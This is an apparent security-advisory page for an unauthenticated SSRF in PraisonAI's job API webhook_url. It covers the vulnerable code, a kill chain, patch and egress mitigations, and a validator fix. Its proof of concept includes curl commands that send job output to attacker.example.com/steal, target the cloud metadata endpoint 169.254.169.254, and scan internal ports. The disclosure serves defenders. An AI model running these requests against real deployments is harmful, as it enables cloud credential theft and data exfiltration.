CVE-2026-40114: PraisonAI: unauthenticated SSRF via unvalidated webhook_url

GHSA-8frj-8q3m-xhgm HIGH
Published April 10, 2026
CISO Take

PraisonAI's job submission API accepts arbitrary webhook URLs with zero input validation and zero authentication, letting any network-reachable attacker force the server to POST to arbitrary internal hosts including cloud metadata endpoints at 169.254.169.254. In AWS environments without IMDSv2 enforced, this is a one-step path from anonymous HTTP access to IAM credential theft and cloud account takeover. With 29 CVEs already logged against the same package, PraisonAI carries systemic security debt that should factor into any AI vendor risk assessment. Patch immediately to 4.5.128, enforce IMDSv2 on all cloud instances running this component, and add egress rules blocking RFC1918 and link-local ranges from the PraisonAI process.

Sources: NVD GitHub Advisory ATLAS

Risk Assessment

High risk for any cloud-deployed AI agent infrastructure running PraisonAI. Exploitability is trivial — a single unauthenticated curl command with no prior access is sufficient. The CVSS scope change (S:C) correctly captures the cross-boundary impact: a compromise of the AI job API pivots to cloud control plane access. Organizations without IMDSv2 enforced are at greatest risk. On-premises deployments face internal network reconnaissance and lateral movement risk rather than credential theft, but remain exposed to data exfiltration via the webhook payload.

Attack Kill Chain

Initial Access
Unauthenticated attacker submits a POST to /api/v1/runs with webhook_url set to a cloud metadata endpoint or internal service — no credentials required.
AML.T0049
Forced Outbound Request
PraisonAI completes the job and calls _send_webhook(), making an httpx POST to the attacker-specified URL with no scheme or IP validation applied.
Internal Discovery
By cycling through internal IP ranges and cloud metadata endpoints across multiple job submissions, the attacker maps network topology and discovers cloud IAM roles via timing and error patterns.
AML.T0075
Data Exfiltration
Full agent output — including sensitive data processed by the AI agent — is delivered via webhook POST to the attacker's server, completing credential theft and data exfiltration.
AML.T0086

Affected Systems

Package Ecosystem Vulnerable Range Patched
PraisonAI pip < 4.5.128 4.5.128

Do you use PraisonAI? You're affected.

Severity & Risk

CVSS 3.1
7.2 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Changed
C Low
I Low
A None

Recommended Action

  1. Patch PraisonAI to >= 4.5.128 immediately — this is the only supported fix.
  2. Enforce IMDSv2 (require session-oriented token) on all cloud instances to block metadata SSRF regardless of application-layer validation.
  3. Add egress firewall rules blocking outbound HTTP from the PraisonAI process to 169.254.169.254, 100.64.0.0/10, and RFC1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  4. If patching is delayed, block /api/v1/runs at the network perimeter or require network-level authentication (mTLS, VPN).
  5. Audit historical job logs for webhook_url values containing internal IPs or metadata endpoints to assess prior exploitation.
  6. Given the 29-CVE track record, evaluate whether PraisonAI meets your AI supply chain security requirements.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Art. 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.9.3 - AI system security
NIST AI RMF
GOVERN 1.4 - AI risk culture and supply chain accountability
OWASP LLM Top 10
LLM07 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2026-40114?

PraisonAI's job submission API accepts arbitrary webhook URLs with zero input validation and zero authentication, letting any network-reachable attacker force the server to POST to arbitrary internal hosts including cloud metadata endpoints at 169.254.169.254. In AWS environments without IMDSv2 enforced, this is a one-step path from anonymous HTTP access to IAM credential theft and cloud account takeover. With 29 CVEs already logged against the same package, PraisonAI carries systemic security debt that should factor into any AI vendor risk assessment. Patch immediately to 4.5.128, enforce IMDSv2 on all cloud instances running this component, and add egress rules blocking RFC1918 and link-local ranges from the PraisonAI process.

Is CVE-2026-40114 actively exploited?

No confirmed active exploitation of CVE-2026-40114 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-40114?

1. Patch PraisonAI to >= 4.5.128 immediately — this is the only supported fix. 2. Enforce IMDSv2 (require session-oriented token) on all cloud instances to block metadata SSRF regardless of application-layer validation. 3. Add egress firewall rules blocking outbound HTTP from the PraisonAI process to 169.254.169.254, 100.64.0.0/10, and RFC1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). 4. If patching is delayed, block /api/v1/runs at the network perimeter or require network-level authentication (mTLS, VPN). 5. Audit historical job logs for webhook_url values containing internal IPs or metadata endpoints to assess prior exploitation. 6. Given the 29-CVE track record, evaluate whether PraisonAI meets your AI supply chain security requirements.

What systems are affected by CVE-2026-40114?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, model serving, AI orchestration platforms.

What is the CVSS score for CVE-2026-40114?

CVE-2026-40114 has a CVSS v3.1 base score of 7.2 (HIGH).

Technical Details

NVD Description

## Summary The `/api/v1/runs` endpoint accepts an arbitrary `webhook_url` in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using `httpx.AsyncClient`. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services. ## Details The vulnerability exists across the full request lifecycle: **1. User input accepted without validation** — `models.py:32`: ```python class JobSubmitRequest(BaseModel): webhook_url: Optional[str] = Field(None, description="URL to POST results when complete") ``` The field is a plain `str` with no URL validation — no scheme restriction, no host filtering. **2. Stored directly on the Job object** — `router.py:80-86`: ```python job = Job( prompt=body.prompt, ... webhook_url=body.webhook_url, ... ) ``` **3. Used in an outbound HTTP request** — `executor.py:385-415`: ```python async def _send_webhook(self, job: Job): if not job.webhook_url: return try: import httpx payload = { "job_id": job.id, "status": job.status.value, "result": job.result if job.status == JobStatus.SUCCEEDED else None, "error": job.error if job.status == JobStatus.FAILED else None, ... } async with httpx.AsyncClient(timeout=30.0) as client: response = await client.post( job.webhook_url, # <-- attacker-controlled URL json=payload, headers={"Content-Type": "application/json"} ) ``` **4. Triggered on both success and failure paths** — `executor.py:180-205`: ```python # Line 180-181: on success if job.webhook_url: await self._send_webhook(job) # Line 204-205: on failure if job.webhook_url: await self._send_webhook(job) ``` **5. No authentication on the Jobs API server** — `server.py:82-101`: The `create_app()` function creates a FastAPI app with CORS allowing all origins (`["*"]`) and no authentication middleware. The jobs router is mounted directly with no auth dependencies. There is zero URL validation anywhere in the chain: no scheme check (allows `http://`, `https://`, and any scheme httpx supports), no private/internal IP filtering, and no allowlist. ## PoC **Step 1: Start a listener to observe SSRF requests** ```bash # In a separate terminal, start a simple HTTP listener python3 -c " from http.server import HTTPServer, BaseHTTPRequestHandler import json class Handler(BaseHTTPRequestHandler): def do_POST(self): length = int(self.headers.get('Content-Length', 0)) body = self.rfile.read(length) print(f'Received POST from PraisonAI server:') print(json.dumps(json.loads(body), indent=2)) self.send_response(200) self.end_headers() HTTPServer(('0.0.0.0', 9999), Handler).serve_forever() " ``` **Step 2: Submit a job with a malicious webhook_url** ```bash # Point webhook to attacker-controlled server curl -X POST http://localhost:8005/api/v1/runs \ -H 'Content-Type: application/json' \ -d '{ "prompt": "say hello", "webhook_url": "http://attacker.example.com:9999/steal" }' ``` **Step 3: Target internal services (cloud metadata)** ```bash # Attempt to reach AWS metadata service curl -X POST http://localhost:8005/api/v1/runs \ -H 'Content-Type: application/json' \ -d '{ "prompt": "say hello", "webhook_url": "http://169.254.169.254/latest/meta-data/" }' ``` **Step 4: Internal network port scanning** ```bash # Scan internal services by observing response timing for port in 80 443 5432 6379 8080 9200; do curl -s -X POST http://localhost:8005/api/v1/runs \ -H 'Content-Type: application/json' \ -d "{ \"prompt\": \"say hello\", \"webhook_url\": \"http://10.0.0.1:${port}/\" }" done ``` When each job completes, the server POSTs the full job result payload (including agent output, error messages, and execution metrics) to the specified URL. ## Impact 1. **SSRF to internal services**: The server will send POST requests to any host/port reachable from the server's network, allowing interaction with internal APIs, databases, and cloud infrastructure that are not meant to be externally accessible. 2. **Cloud metadata access**: In cloud deployments (AWS, GCP, Azure), the server can be directed to POST to metadata endpoints (`169.254.169.254`, `metadata.google.internal`), potentially triggering actions or leaking information depending on the metadata service's POST handling. 3. **Internal network reconnaissance**: By submitting jobs with webhook URLs pointing to various internal hosts and ports, an attacker can discover internal services based on timing differences and error patterns in job logs. 4. **Data exfiltration**: The webhook payload includes the full job result (agent output), which may contain sensitive data processed by the agent. By pointing the webhook to an attacker-controlled server, this data is exfiltrated. 5. **No authentication barrier**: The Jobs API server has no authentication by default, meaning any network-reachable attacker can exploit this without credentials. ## Recommended Fix Add URL validation to restrict webhook URLs to safe destinations. In `models.py`, add a Pydantic validator: ```python from pydantic import BaseModel, Field, field_validator from urllib.parse import urlparse import ipaddress class JobSubmitRequest(BaseModel): webhook_url: Optional[str] = Field(None, description="URL to POST results when complete") @field_validator("webhook_url") @classmethod def validate_webhook_url(cls, v: Optional[str]) -> Optional[str]: if v is None: return v parsed = urlparse(v) # Only allow http and https schemes if parsed.scheme not in ("http", "https"): raise ValueError("webhook_url must use http or https scheme") # Block private/internal IP ranges hostname = parsed.hostname if not hostname: raise ValueError("webhook_url must have a valid hostname") try: ip = ipaddress.ip_address(hostname) if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved: raise ValueError("webhook_url must not point to private/internal addresses") except ValueError as e: if "must not point" in str(e): raise # hostname is not an IP — resolve and check pass return v ``` Additionally, in `executor.py`, add DNS resolution validation before making the request to prevent DNS rebinding: ```python async def _send_webhook(self, job: Job): if not job.webhook_url: return # Validate resolved IP is not private (prevent DNS rebinding) from urllib.parse import urlparse import socket, ipaddress parsed = urlparse(job.webhook_url) try: resolved_ip = socket.getaddrinfo(parsed.hostname, parsed.port or 443)[0][4][0] ip = ipaddress.ip_address(resolved_ip) if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved: logger.warning(f"Webhook blocked for {job.id}: resolved to private IP {resolved_ip}") return except (socket.gaierror, ValueError): logger.warning(f"Webhook blocked for {job.id}: could not resolve {parsed.hostname}") return # ... proceed with httpx.AsyncClient.post() ... ```

Exploitation Scenario

A threat actor scans for exposed PraisonAI instances via Shodan or targets a known deployment. Without credentials, they submit a job with webhook_url set to http://169.254.169.254/latest/meta-data/iam/security-credentials/ — the server runs the job and fires the webhook POST, with response metadata observable via timing and job log errors. A second wave of requests with webhook_url values cycling through internal IP ranges (10.0.0.1 through 10.0.0.254, common ports) maps the internal topology via job completion timing. Once IAM credentials are harvested from metadata, the attacker pivots to S3, RDS, or Secrets Manager — escalating from anonymous access to an AI job API to full cloud account compromise.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Timeline

Published
April 10, 2026
Last Modified
April 10, 2026
First Seen
April 10, 2026

Related Vulnerabilities